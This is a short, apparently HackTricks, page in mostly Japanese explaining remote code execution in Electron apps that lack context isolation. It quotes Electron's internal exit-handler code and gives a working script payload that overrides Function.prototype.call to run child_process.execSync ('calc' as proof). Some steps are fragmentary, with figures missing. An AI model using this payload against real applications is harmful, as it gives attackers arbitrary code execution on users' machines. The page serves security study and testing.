Electron contextIsolation RCE via Electron internal code

Support HackTricks

Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41からの例

"exit"イベントリスナーは、ページの読み込みが開始されるときに内部コードによって常に設定されます。このイベントは、ナビゲーションの直前に発生します:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- もはや存在しない

次はここに行きます:

ここで「self」はNodeのプロセスオブジェクトです:

プロセスオブジェクトには「require」関数への参照があります:

process.mainModule.require

handler.callがprocessオブジェクトを受け取るため、任意のコードを実行するために上書きすることができます:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Example 2

プロトタイプ汚染からrequireオブジェクトを取得https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

漏洩:

エクスプロイト:

HackTricksをサポートする

Last updated